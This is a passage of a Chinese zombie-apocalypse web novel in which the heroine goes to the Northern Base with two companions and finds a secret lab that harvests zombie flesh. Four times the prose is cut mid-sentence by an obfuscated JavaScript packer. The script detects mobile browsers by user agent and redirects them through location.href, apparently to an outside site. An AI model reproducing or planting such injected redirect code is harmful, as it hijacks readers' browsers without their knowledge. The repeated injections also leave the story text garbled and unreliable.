随着他外表变得更憔悴,脾气似乎也变得更差了。 听到这话,几名队员走出队伍,将松松散散束缚着韩厢月的网牢牢绑在他身上,紧接着支起他的手臂,将韩厢月扶起来,朝着停在远处的面包车走去。 池遥没动弹,韩厢月被带走之前朝着她看了一眼,目光仍旧十分平静,池遥立刻就明白了,此时发生的一切大概还是在韩厢月的计划之内。 “你们把他押回去,准备做什么?”沈观宴问道。 “先审问出天山的丧尸异常究竟是怎么回事,再交给研究中心做实验,物尽其用。”林北辰道。 “那恐怕做不到了。”沈观宴冲他摇摇头,却没有说原因。 林北辰看他一眼,见沈观宴开了个话头就不再往下说,也没有催促,只是问道。 “我们这次离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839438|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北方基地的时间有点长了,现在就得回去报告工作,带上他好歹还算是有收获。你呢,你离开北方基地这么久,这次回北方基地吗?你家人看起来快要急疯了。” 沈观宴看了一眼身边的池遥。 “这次外出的时间确实太久了,我跟着你一起回去吧。” 他说完这话,又轻声问池遥。 “你呢?我们要带韩厢月回北方基地,回去后有我在,韩厢月肯定会没事的,你是要去饶城,还是和我们一起回去?” 池遥看向远处的面包车车门。 林北辰一行人乘坐的面包车被改装过,私密性很好,从外朝车内看去,看不到任何内饰。但池遥刚刚眼睁睁地看到,林北辰的下属们就是打开这扇车门,将韩厢月关了进去。 马上,林北辰和沈观宴就要共同回到北方基地,而韩厢月则作为被俘虏的高等丧尸一同去往北方基地。 尽管沈观宴做出了保证,但池遥心中仍然没有底气,她深吸一口气,攥紧了手心。 “我和你们一起去北方基地。” 她立刻就做出了决定,语气十分坚定。 “哦对了,正好我和池遥在一起,池遥你也和我们一起回北方基地吧。”沈观宴放大了声音,拉着池遥走向林北辰等人的面包车。 上一次上这辆车,还是去隐山基地的时候。 池遥坐上面包车,和沈观宴并排坐在司机背后,车尾是被左右两个下属包围的,被五花大绑的韩厢月,而隔着一个过道的车门边,则是林北辰。 很快,林北辰一声令下,车队出发,朝着北方基地的方向开去。 车子启动时,池遥透过车窗,观察着再度沉寂下来的天山,隐隐约约还是能够看到不停攒动的丧尸脑袋,但似乎也仅此而已。刚刚林北辰赶到的时候,不止是与池遥和沈观宴打斗的四只丧尸迅速逃跑,沿山路下行追捕他们的丧尸也没了影子,此时再望向山顶,也恢复了风平浪静的样子。 可是,这一次还是没能解决霍云初。 池遥心中泛出一阵难言的酸涩感,脑海中再次浮现出霍云初血红的,不近人情的双眼。 她还是没能解决丧尸潮的事,现在尽管他们逃离了丧尸王的追捕,即将去往北方基地,可丧尸潮仍在不停扩大,不知什么时候会集结下山,给幸存的人类基地最后一击。 她是不是不离开天山比较好,可是,若是待在天山,她要如何才能让霍云初恢复正常? 完全没有头绪啊。 还不如先去北方基地,看看北方基地的规模和基建,想办法把韩厢月夺回来,找到让霍云初恢复正常的办法,再回到天山对付霍云初比较好。 终于回到安全的环境,池遥长出一口气,脑子里各种问题还在不停运转,拼命思考,身体却已经提前感觉到疲惫,不知何时,已经闭上了眼睛。 从到达天山开始,几乎是连着战斗了一天两夜,她又没有高等丧尸的身体强度,现在身体累得快散架了。 很快,她就陷入了梦乡。 114. 北方基地2 回北方基地的车程与来时相同,也需要五天时间。 林北辰不知道饶城基地的事,因此,池遥和沈观宴在面包车上默契地对饶城基地的事矢口不提。 不仅如此,霍云初成为丧尸王;饶城的黑市;池遥的高等丧尸伙伴;桩桩件件都不是能够对林北辰坦白的,因此,在隐瞒这些事情的基础上,池遥和沈观宴的对话只剩下了日常生活对话,变得贫瘠起来。 从以往对于现状和未来的分析,转变成了诸如“你饿不饿?”“困不困?”“吃了吗?”之类的无意义提问。 而韩厢月则被严防死守,押在最后排,看守他的下属每隔几小时就会换一次班,池遥试图寻找一个可以和韩厢月说话的机会,可惜这群人的警觉性太强,她并没有找到机会。 五天后,车队终于到了目的地,北方基地。 与其他基地不同,北方基地发展至今,已经涵盖了整个首都区域,地理面积堪比一座城市,整个基地被三四米高的巨型墙体包围,高墙之上又围绕着一圈电网,杜绝了所有从外部入侵的可能性。 基地入口大门处排起了一眼望不到头的长队,穿着制服的人在维持秩序。 距离北方基地还有一段距离,车窗外就出现了密集的人影。再往前一些,池遥就看到了聚集在北方基地大门前的人们,这里在末日前似乎是临近首都的小城市,这些无法进入北方基地的普通人在大门外驻扎下来,渐渐竟然也形成了一定的规模。 “我之前和你讲过,第二次变异潮之后,北方基地就不招收普通人了。”沈观宴悄声向池遥介绍,“我上次回北方基地也发现有很多难民驻扎在基地外部,因为最近几个月北方丧尸大量减少,他们才能在北方基地外部大量聚集,以前是没有这种情况的,应该是这几个月才变成这样的。” “北方基地的人口饱和得很严重。”听到沈观宴的话,林北辰在一旁补了一句,“最近几个月以来,不仅拒绝普通人进入,对能力者的审核也越来越严格,你看到的这些排队的人,应该都是被北方基地堵在外面的能力者。” “这么多都是吗?”池遥瞪大了眼睛。 “北方基地一天只发放五个准入通牒,这么多能力者,每天只能进入五人,而且不停有从其他地方赶到北方基地的能力者,以后排队的人会越来越多。” 司机开车的风格十分硬核,丝毫不避让前方的幸存者,直直朝着大门另一侧的内部入口开去,前方的幸存者们纷纷起身避让,池遥抿着唇回头望去,有不少幸存者面黄肌瘦,看起来已经在水深火热里生存了很久,整个人都失去了精气神,只是坐在基地大门口不远处,呆滞地望着基地大门,仿佛在期待奇迹降临。 “你是我带回去的,不用遵循那些规矩。”沈观宴见池遥回头,以为她是在担心,拍了拍池遥的手背。 北方基地的内部入口是只提供给内部人员的通道,入口处有穿着制服,腰间配枪的巡逻队严防死守,见到林北辰等人的车辆,巡逻队队员们立刻放行。 车子开始减速,开上一条传送带,通过一条几十米长的检疫隧道,刺目的红光反复扫描车子,两分钟后,才终于通过隧道,进入了一个明亮的大厅,停了下来。 这个空间面积很大,车子底部的传送带并未结束,只是暂时停了下来。前方不远处,是一排安检闸机和装有丧尸检测仪的安检门。 林北辰等人打开车门,下了车,池遥跟在沈观宴身后,也跳下车,最后,两名下属扣押着韩厢月,最后下车。 几乎是韩厢月从车内走下来的瞬间,天花板上的警报器突然开始闪烁,整个大厅响起了刺耳的警报声。 “这是我们抓回来的高等丧尸,把警报器关了吧。”林北辰不耐烦地挥挥手,“我这次回基地就是为了把他带回来的。” 站在闸机前的巡逻队队员立刻关掉警报器,走了过来。 “林队长,沈二少,欢迎回到北方基地。”年轻人冲两人略一颔首,“您的意思我已经了解了,但为了基地内的安全,还请各位依次通过安全检查,这位先......呃......这位高等丧尸也先由我们的成员扣押安检,安检显示没问题后会归还给各位。” “那位高等丧尸对我们很重要。”沈观宴轻咳一声,“研究所特别嘱咐我们不要伤到他,你们也要注意。” “明白!” 两个小时后,池遥终于完成了所有安检步骤,这些人甚至派出能力者检查了她的空间吊坠。结束安检后,沈观宴将刚才给她办理的北方基地通牒递给她,北方基地的通牒有不同等级,沈观宴直接给她办理了最高等级的通牒。有了这份通牒,她可以自由在北方基地内外进出。 又等了一段时间,才等到韩厢月,韩厢月看起来毫发无损,看到池遥时,微微冲她笑了一下。 通过安检大厅,终于来到了北方基地内部。 看到面前的城市,池遥不由地怔愣了几秒。 眼前的北方基地内部完好无损,看上去与末日前的普通城市毫无差别,除了整体氛围有些萧条以外,没有任何末日降临的实感。 此时已经过了黄昏时刻,逐渐暗下来的天色被城市中亮起的灯光盖过,繁华的城市光景让人一瞬间忘记了惨烈的现实。 身在基地内部,她才终于理解每天等在基地大门外,对基地趋之若鹜的幸存者。 “我叫了司机来接,先等一会儿吧。”林北辰朝他们晃了晃手里的对讲机,沈观宴这才想起被他留在空间吊坠里的对讲机,急忙找了出来。 “基地里用对讲机联系,一会儿回了我家,我给你也找一个。”沈观宴一边说,一边看向另一侧的韩厢月,出了大厅后,林北辰就解散了跟随他的队员,扣押韩厢月的任务也转移到了林北辰身上,“他呢?你们怎么安排的?” “一起去沈家,沈叔叔主动发话把他留下,今晚估计会一起住在你家里。”林北辰开口。 “这样啊......”沈观宴点点头,看向池遥,“时间不早了,你今晚也一起借宿在我家里吧。” 对于池遥而言,能和韩厢月离得越近越好,她立刻点头答应下来,倒是林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843762|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北辰听到沈观宴的话时微微蹙起眉头,目光在池遥和沈观宴二人间停顿半晌,才故作无意地挪开。 只不过,池遥却频频看向被林北辰牢牢扣着手腕的韩厢月,频率有些过高了。 “不用担心,他身份特殊,不会有事的,”沈观宴看出她的担心,开口解释道。 “北方基地是由几个家族联合掌权,分别是我家,林北辰家,霍家,除此之外,还有一个加入基地不久的家族,韩家。”说到这里,沈观宴看了一眼韩厢月,“就是他的家族。” “啊?” 池遥没想到会变成这样,韩厢月曾经的确和她说过和韩家有关的情报,只是隐瞒了他自己的身世,直到现在,她才知道。 有林北辰在,韩厢月没办法说话,只能对她露出带有歉意的眼神。 “虽然不知道我父亲找他有什么目的,但我已经让林北辰通知了韩家,韩家幸存的小辈就剩他一个人,一定会想办法把他接回家,他不会有事的。” 池遥一直悬着的心终于踏踏实实落了回去。 几分钟后,沈家的车子准时到达,一行人上了车,驶向沈家宅邸。 沈家宅邸坐落在基地的内环区,一路上,池遥一直在观察经过的街道,内环区的街道十分干净,路边的建筑豪华大气,行走在路上的居民衣装整洁,模样悠闲又松弛,令人羡慕。 沈观宴外表桀骜不驯,真正了解后就知道,他其实是一个负责又靠谱的好人,只是,自从坐上自家的车子,他的神色就立刻阴沉下来,抱着手臂一言不发。 池遥将一切都看在眼里,不由也紧张起来。 沈家宅邸比池遥之前驻扎过的白眉湖庄园还要豪华,宅邸占地面积巨大,包含了市区内部的一整座山,从大门口走进去,先是穿过一座园林,然后是一片令人震撼的别墅群,再向里走去,才终于到了最中心的宅邸。 听闻沈观宴要回家的消息,宅邸大门前已经等候了一整排佣人,一见到沈观宴的影子,就齐齐弯下腰,恭敬地迎接一行人进入大门。 “我先带着他进去了。”林北辰扯了一把绑在韩厢月身上的绳子,先行押着韩厢月走进去,池遥跟在他们身后走进宅邸,一进门,就有等待在大厅中的佣人迎上来,态度温和地问好。 “这位小姐今晚要在宅邸里留宿,你们给她安排一间离我的房间比较近的客房。”沈观宴吩咐一句。 “请跟我来。” 池遥跟随佣人上了三楼,走进一间客房。沈家的客房是几个小房间连在一起的套房,装潢十分精致,衣柜内甚至挂满了符合她体型的不同衣物。 “不好意思,方便告诉我沈少爷的房间在哪边吗?”池遥问等候在门口的佣人。 她的房间在三楼正中间,几人先前商量过,等到夜间,池遥去沈观宴的房间找他,他会带着池遥一起去找韩厢月,他们还要商量霍云初的事。 “就在这边。”佣人指向左手边尽头的房间。 池遥点点头,记下沈观宴的房间,回到自己的房间里,等待深夜的到来。 115. 北方基地3 独自一人待在房间里,池遥先是把每个房间都参观了一遍,扑到一米八的大床上幸福地翻滚一圈,又去外间的沙发上窝着发了一会儿呆,把自己放在空间吊坠里的所有电子设备拿出来充电,安逸得仿佛回到了末日前。 如果可以和曲卓一同享用这种幸福就好了。 她在心底默默叹了口气,打开许久没有使用过的手机,默默看着自己和曲卓的聊天记录。 手机相册里大部分是游戏和动漫截图,剩余的人像照片中,大多是她和曲卓的合照。 她的好友到底去哪儿了? 然而,此时,面对已经成为丧尸王的霍云初,曲卓的事也只能稍微放一放了。 池遥找出一支笔,一个本子,将眼下的情况一条条列出来。 霍云初疑似失去记忆,成为了货真价实,与人类对立的丧尸王,正在天山聚集丧尸,准备发动丧尸潮。 与她朝夕相处的卢淼,陈霄,岳明,钱朗四个高等丧尸受霍云初的影响,失去神志,被霍云初控制,留在了天山。 而唯一一个还算能够自控的高等丧尸同伴韩厢月,虽然安全脱离了天山,却被林北辰抓住带回了北方基地,但情况并不算糟,韩厢月的家族是北方基地的掌权家族,还有回旋余地。 她的动作停顿了一会儿,翻开下一页,重新开始编号。 一会儿,她首先要去确认韩厢月的安危,同时和韩厢月,沈观宴两人一同商量下一步计划。 丧尸潮事关重大,一定要想办法把这个消息传达给北方基地,可究竟说多少,要不要隐瞒丧尸王的身份,高等丧尸的事又该如何解释,这些都要和他们二人商量才行。 她和沈观宴韩厢月三人还有其他事要做,北方基地不能久留,解决韩厢月的事后三人就要立刻离开北方基地,一定要在霍云初发动丧尸潮之前想办法让霍云初恢复正常。 韩厢月陷入混乱时,池遥不知道该怎样帮他,一直在为他输送治愈能力。 她的治愈能力会帮助霍云初找回理智吗? 池遥回想起自己主动对霍云初发动治愈能力的那个瞬间。 在自己将治愈力输送进对方身体里的瞬间,霍云初的动作似乎停滞了几秒。 这算是起效了吗? 可就算真的有效果,自己输送了大量能力,只换取了霍云初几秒钟的清醒时间。如果想要霍云初彻底清醒过来,需要多少能力? 思考了很久依旧难以得出答案,池遥合上本子,将所有物品收到空间吊坠里,思索片刻,将衣柜里的衣物,桌上的香薰,洗手间里的洗浴用品洗劫一空,才打开门,扫视一圈。 走廊内一片漆黑,四下无人。 手表显示,此时已经是深夜两点了。 若是末日前的池遥,这个时间她还在熬夜打游戏,不过末日后大家的作息都趋于正常,这个时间大多已经睡觉了。 池遥从空间吊坠内找出一把轻便的匕首,握在手中,轻手轻脚地出门,在原地站了一分钟,适应黑暗的视野里很快就显现出走廊的轮廓。 她放轻呼吸,无声地沿着走廊向前走去。 走廊很长,四下一片安静,耳边听不到任何声音,池遥提高警惕,快速穿过走廊。 按沈家佣人的说法,走廊左侧尽头的房间就是沈观宴的房间,她很快走到走廊深处最后一间房间门前,手刚放到门把手上,轻轻压下去,还没向前推,就听到了身后传来了开门声。 不知道附近哪间房间的房门被打开了。 池遥立刻绷紧了身体,快速打开门,闪身躲进了房间里。 走廊外响起了一阵沉重的脚步声,听上去只是个普通人,从房间里出来后就朝楼梯口走去,没一会儿就走下了楼梯,脚步声越来越远。 池遥靠在门上,慢慢地松了一口气,这才打起精神,打量起自己所在的房间。 如果她没理解错,这里应该是沈观宴的房间,但房间内的装潢以暗色为主,周围的家具被擦拭得一尘不染,房间内没有任何生活痕迹,仿佛一个无人居住的样板间,没有一丝活人气,十分压抑,让人看着就提不起兴致。 这可不像是沈观宴的风格。 这一间房和她的客房构造相似,也是几间房间连在一起的套房,客厅空空荡荡,没有任何杂物,干净得有几分诡异,书房也是同样的风格,接下来,她来到了卧室。 一走进卧室,池遥就闻到一阵微弱的苦味。 比起客厅和书房,卧室终于多了几分有人居住的气息,规整的大床上,洁白的被角垂在地毯上,一截苍白的脚踝垂在半空中。 她的视线追随着这截脚踝,慢慢上移。 一具消瘦,虚弱,伤痕累累的躯体陷在被褥当中,一张瘦得颧骨略微突出,却仍旧清隽的脸,温和而疲惫的双眼平静地望着闯入房间内的不速之客。 池遥瞪大了双眼。 眼前的人,并不是沈观宴。 但池遥也不陌生,此时躺在她面前的人,是沈观离。 沈观宴的兄长。 池遥不由地回想起了自己与佣人的对话,当时为了掩饰自己和沈观宴的关系,她没有直呼大名,而是用“沈少爷”三字来代替,可能够匹配这个称号的却不止沈观宴一人。 沈观离也同样是沈家的少爷。 也对,既然这里是沈家宅邸,作为沈观宴的哥哥,沈家的继承人,沈观离出现在这里再正常不过了。 “是你?” 感到意外的似乎并不只有池遥一个,沈观离拢了拢松散的睡衣扣子,他穿着一套考究的真丝睡衣,但由于身形清减了不少,睡衣松松垮垮地挂在身上,扣子间的缝隙能看出,他的上半身几乎被绷带缠满,有几处因为他刚刚的动作开始渗血。 只一个月不见,沈观离肉眼可见虚弱了不少,见到池遥到来,只能微微撑起身体,倚靠着床头。 “这里是你的房间吗?” “啊......”沈观离立刻猜出了她的意图,“我听说沈观宴带着一个陌生女孩儿回来了,原来是你啊,你是在找他吗?” 池遥点点头。 “我可以告诉你他的房间位置,不过他今晚似乎并没有在房间里,父亲让他彻夜守着他带回来的高等丧尸。”沈观离冲她勾了勾嘴唇,笑意微弱而勉强。 明眼人都能看出他的不对劲。 只分开一个月,但他却像是遭遇了什么重大变故,迅速凋零下去,把自己弄得伤痕累累,奄奄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16855916|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一息。 池遥没有回答他的话,快步走到床前,在床沿边坐下,抓住了沈观离的手,发动了能力。 果然,明明上一次分开前,她用能力治好了他身上大部分的伤,但仅仅隔了一个月,他身上的伤势又全部回来了。 甚至比上一次更严重。 池遥低下头,打量着被她握在掌心里的手,半晌,突然将沈观离的手翻转过来,解开他手腕上的石英表。 常年被表带遮盖,显得更加苍白的手腕上,交叉着一道一道斑驳的刀痕,这些伤痕有些是早年留下的,更多是近期的新伤,每一个痕迹都割得很深,他似乎一点也不珍惜自己的身体。 她忍不住蹙起眉头,看向沈观离的眼睛。 被她发现自己的秘密。沈观离避开她的眼神,挣脱了她的手。 “你......” “池遥。” 沈观离的声音将池遥要说的话堵了回去。 许久,两人都没有开口。 “能再次见到你,我真的很开心。”最终,沈观离开了口,声音很轻,语气十分柔和,几乎是在安慰她。 “但是,你不是来找我的吧?不要在我这个废人这里耽误自己的时间。” 面色惨白的青年撑着床面,慢慢坐起来,与池遥靠得近了一些,一双一向温柔而平和的眼睛看着她。 池遥有很多话想问他,但沈观离说得对,眼下她最重要的事是找到韩厢月和沈观宴,而不是在沈观离身边。 “你知道那名高等丧尸被关在什么地方吗?”她问。 “跟我来。”沈观离挣扎着站起身来,身形踉踉跄跄,池遥看不下去,伸手扶住他,与他并肩走出卧室。 “不用担心我,我自己的状态我很清楚,不会出事的。”似乎感受到池遥的关心,身旁的青年柔声笑了一下,带着池遥走进走廊,沿着楼梯口慢慢下楼。 尽管重伤在身,但行走之时,沈观离速度却一点也不慢,他的脚步声却格外轻,很难感受到他的存在,若不是还有池遥在他身边,根本察觉不到走廊有人经过。 来到一楼,穿过大厅和走廊,沈观离推开储藏室的隐形门,赫然是一段通往地下室的楼梯。 “我也不太清楚那名高等丧尸被关在哪里,但应该是在地下室。” 走在地下室的楼梯上,沈观离才终于开口。 楼梯尽头,是一扇被紧锁的大门,沈观离找出钥匙打开门,带着池遥走进了地下室。 一打开门,强烈的白炽灯光线晃得眼睛一花,又被突然降低的温度冻得打了一个寒噤。 待眼睛适应了强烈的光线,池遥才看清眼前的房间。 一侧是亮着的大屏幕和操作台,大屏幕上实时显示各项数值,而在大屏幕对面,是一个巨型的透明冰柜。 冰柜中,冷冻着一只皮肤发灰,皮肉残缺的丧尸。 它的腰部空了一个大洞,有好几个小型机器聚集在它的伤口周围,正用精密的刀具挖取它的血肉。 被生生从身体上或撕扯或切割下来的皮肉被码放在传送带上,落入一个个极为眼熟的罐头盒子里,紧接着,这些装着丧尸血肉的易拉罐被机器密封起来,落入大厅角落的巨大纸箱中。 116. 北方基地4 眼前所呈现的,是从丧尸身上剥削而成的一道流水线。 生产出来的易拉罐池遥再熟悉不过了,就是霍云初曾经剥开给她看过的能力屏蔽仪。 她还记得,那时候,霍云初告诉她屏蔽仪是用高等丧尸的血肉制作的,对此她只有隐约的概念,但此眼睁睁看到机器在丧尸身体上挖取血肉的残忍场面,才感到了实实在在的悚然。 池遥在掌心尝试发动能力,果然,自己的能力被屏蔽了。 只是,霍云初当初明明说的是高等丧尸,眼前冰柜中的丧尸浑身发灰,面色狰狞恐怖,看起来只是个再普通不过的丧尸。 “这是北方基地捕获的第一只高等丧尸。” 失去能力保护,沈观离的脸色变得更白了几分,双眼微微垂下去,神色莫辨。 见池遥紧盯着冰柜里的丧尸,他轻声介绍道。 “发现他的时候,他的外表与人类没有差别,有自我意识,只看它的外表和谈吐方式,根本无法发现他的真实身份。” “你们是怎么发现它的?”池遥问。 “研制出丧尸检测器的那段时间,研究所工作人员在基地多人聚集的区域全部安置了检测器,才发现了它。” “它已经混入人类基地很久了,巡逻队很快就把它抓捕回来,研究所发现它的能力可以将其他能力者的能力屏蔽掉,才产生了利用它的血肉制作屏蔽仪的想法。” 池遥看向身边的沈观离,在进入这间实验室后,沈观离的视线一直在有意躲闪面前的巨大冰柜,尽量不直视被关在冰柜里的丧尸。 “按你这么说,它应该在研究所里才对吧?而且,你刚刚说它是高等丧尸,但它看起来更像是普通丧尸。”她问道。 “在发现它的血肉可以制造出屏蔽仪之后,为了垄断屏蔽仪产业,也为了不走漏消息,父亲和研究所达成了合作,将它秘密运送到了沈家宅邸的地下实验室里。” “但是,从它被送进这里开始,就长期被冷冻。而且你也知道,高等丧尸的自愈能力很强,他长期被挖取血肉,身体不停地残缺又重生,渐渐地就丧失了人类的模样,变得和丧尸越来越像。而且,他的自我意识也渐渐消失了,只剩下丧尸本能。现在,就算将它解冻放归,它也和普通丧尸没有任何区别。” 听到沈观离这番话,池遥脑中立刻想起了霍云初的影子。 果然,高等丧尸如果收到超出身体承受范围的折磨,也是会退化成普通丧尸的。 “这样啊......” 池遥再次抬头,认真地观察冰柜里的高等丧尸,脑海中回想霍云初对她说过的和能力屏蔽仪有关的内容。 她还记得,那时霍云初说话的语气颇为愤慨,仿佛在为那只被分解身体装进易拉罐的高等丧尸打抱不平。 霍云初为什么会认识这只高等丧尸呢? 难不成,这位高等丧尸,也同样是被霍云初的血制造出来的吗? 她仰起头,对这位素未谋面的高等丧尸产生了微妙的共情。 突然间,她又想到了什么。 “是因为这个,你才去黑市拍卖会上买下高等丧尸吗?” 尽管在黑市拍卖会上沈观离帮助了她,但池遥一直没有想通他的目的,现在隐隐窥见冰山一角。 他隶属于沈家,无法在明面上忤逆沈家的规定,只能暗中做出自己力所能及的努力。 听到她的疑问,沈观离没回答,只是默默转移话题。 “走吧,你不是想找沈观宴他们吗?” 他既然避开了问题,池遥就没有再问,只是跟在他身后,绕过巨大的冰柜,走进了和实验室相连的房间。 一走出实验室,周围的温度缓和不少,冷冻丧尸的冰柜温度太低,整个实验室里如坠冰窖,时间稍微久一点就觉得身体各处都有些僵硬。 与实验室相连的几个房间看上去像是审讯室和刑房,所幸,这几个房间此时空无一人。 “末日前,我们在家如果犯了错,会被关在这里一个晚上。” 沈观离随意指了指经过的一间小屋子。 房间里空空荡荡,没有任何家具,连一盏灯都没有。 池遥沉默了片刻,轻轻拍拍沈观离的手背。 很快,他们来到了最后一个房间,是个略显狭窄的小房间,韩厢月和沈观宴就在这里,一见到她的身影,身形高大一些的人就抬手打了声招呼。 “池遥。” 显然,沈观宴已经等待她很久了。 看到池遥的身影,他脸上立刻露出了几分笑意,然而,看到跟在池遥身后的沈观离,笑容僵住了。 见他这副模样,沈观离停下脚步,后退几步,靠在门框边,给三人留出了一点空间。 “之前不是说在你的房间里等我吗?”池遥虽然已经听过沈观离的解释,还是重新问了沈观宴这个问题。 “对,我爸让我跟在他身边看守他,我把地址放在我房间里了,你没看到吗?”沈观宴问她。 池遥......池遥并没有进沈观宴的房间,她错进了沈观离的房间,不可能看到沈观宴留的信。 她没把自己的失误告知两人,而是直接看向一旁的韩厢月。 韩厢月已经换了一身看起来价值不菲的西装,沈观宴也换了一套休闲装,四人中,只有穿着真丝睡衣的沈观离显得略显不得体。 不过,不得不说,韩厢月外表一向温软良善,换上西装后,此人反而多了几分难以接近的贵气,池遥立刻就接受了他是韩家子嗣的事实。 真是人靠衣装啊。 “你那边情况怎么样?”她问韩厢月。 “晚上我们一到沈家宅邸,我和沈观宴就去见了沈家家主,就是他父亲。” 说到这里,韩厢月突然噤声,目光移向站在门口的沈观离,沈观离虽然给出了他们三人的说话空间,可到底还是在同一个房间里,沈观离也是能力者,三人的说话内容他全部都能听到。 池遥看看沈观离,又看了一眼和他们坐在一起的沈观宴,沈观宴也同样向自己的兄长投向目光。 然而,即便被房间里剩余三人注视着,沈观离依旧是一副气定神闲的模样。 “没关系,我不会说出去的。”他冲三人温和地笑笑。 “确实。”沈观宴点点头。 既然沈观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860670|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴这么说了,池遥和韩厢月便放下戒备。 “沈家家主透露了几个很有用的信息。首先,韩家是北方基地的掌权家族之一,我虽然不是继承人,但韩家之前的基地遭受过几次重创,韩家现在所剩的成员不多,年轻一代只剩下我一个人。因此,韩家在得知我还存活的消息后,就将我定为了继承人。” “其次,韩家的权力虽然比不上其他几个家族,但是基地内环以外的民众都归韩家管理,如果我未来继承家业,这些都会落到我的手里。” 韩厢月很坦诚,没有用任何多余的语言修饰,直白地将自己未来会拥有的一切告知池遥。 “如果我愿意继承家业,后天......现在应该称为明天了,韩家明天就会公开举行继承人公开仪式,公开我的身份,我就会立刻变成北方基地的掌权继承人。” “但是,由于我的身份不是人类,而是高等丧尸,因此,如果接受继承人身份,我需要和首都研究所达成合作,每周抽出两天时间作为研究所的实验体配合工作。” 听到这话,池遥紧蹙起眉头。 “你怎么想?” 从韩厢月的陈述中,她已经理解了韩厢月的想法。 “我想,如果留在北方基地成为继承人的话,我就会真的拥有更多权力。”韩厢月认真地凝视着她的脸,目光中却带着些难过的情绪。 “到时候,无论你想做什么,我都帮得上忙,就不会拖你的后腿了。” “你从来没拖过我的后腿呀!” 听到池遥的话,韩厢月忍不住露出了一个温暖的笑意,他抬手,动作很轻很轻地蹭过池遥的头顶,留下羽毛一样轻柔,仿佛梦境一样的触感。 不知为何,池遥突然想到第一次与韩厢月相处,他还是个重病缠身的人类青年的时候。 那时,难受到极点的人也是这样,用同等轻柔的力道,轻轻地将脸埋进池遥的掌心。 她经历过很多次离别,但这种离别大多是自己主动告别其他人,很少像这一次,她被迫接受其他同伴的主动离开,一时间毫无准备,心里空落落的,不算难过,但也不太愉快。 一种怅然若失的情绪包围了她。 “我变成高等丧尸的时间比较长,受他的影响很小,而且只要拉开距离,就不会受到控制,留在北方基地是最好的选择。” 韩厢月微微凑近她的脸,充满复杂情绪的一双眼紧紧盯着她看。 “还有,你朋友的寻人启事可以给我一份吗?我帮你找人。” 池遥立刻就找出一张寻人启事递给他。 “那你呢?准备什么时候离开?” 听完韩厢月的话,池遥看向在一旁一直没说话的沈观宴。 不知为何,听到池遥的问题后,沈观宴和韩厢月脸上都浮现出一种复杂神色,韩厢月的表情只是有些为难,但沈观宴却隐约有些愠怒。 “我最早也要等到后天才能离开,要出席他的仪式。” 沈观宴说这话的同时,池遥面前的两人都隐晦地瞥了沈观离一眼,却默契地没有多说。 池遥心中隐隐觉得不对劲,却因为沈观离的存在而不方便发问。 117. 北方基地5 “对了,关于天山丧尸潮的事,我已经告诉我爸了。他们之后应该很快就会做出预防措施,我们想传达的事已经全部做到了。” 沈观宴将池遥一直担心的问题告诉她。 “等到明天一早,韩家的人会接我回去,恐怕之后就没办法见到你了。” 最后,韩厢月还是忍不住开口。 “所以,这次可能是近期我们的最后一次见面了。” 池遥紧紧握住他的手,感受到温暖的掌心,韩厢月冰冷的手指微微用力,拨开她的手指,与她十指相扣,只握了一会儿,又主动放开。 谈话很快结束,沈观离送池遥回房间。 这一次,二人从另一条路上楼,这条路径显然比他们来时要方便得多。 池遥不由地侧过头,看了身旁的沈观离一眼。 沈观离显然很清楚韩厢月和沈观宴所在的房间位置,明明有其他捷径,却偏偏要绕过上锁的实验室过来,故意让她看到实验室里的高等丧尸。 这又是为什么? “你有什么打算吗?”沈观离问她。 刚才的讨论中,韩厢月和沈观宴都告诉了她自己未来几天的准备,只有池遥没有发话。 作为一直在一起的同伴,韩厢月和沈观宴二人自然知道池遥的打算,但沈观离并不清楚。 “我只是陪他们来北方基地而已,很快就会离开的。”池遥在心中算了算时间,韩厢月的继承仪式她无权参与,也无心参与,“等天一亮,我应该就准备离开了。” “这么快?” 池遥点点头。 得到肯定的答复,沈观离又陷入沉默,神色肉眼可见地低落下去。 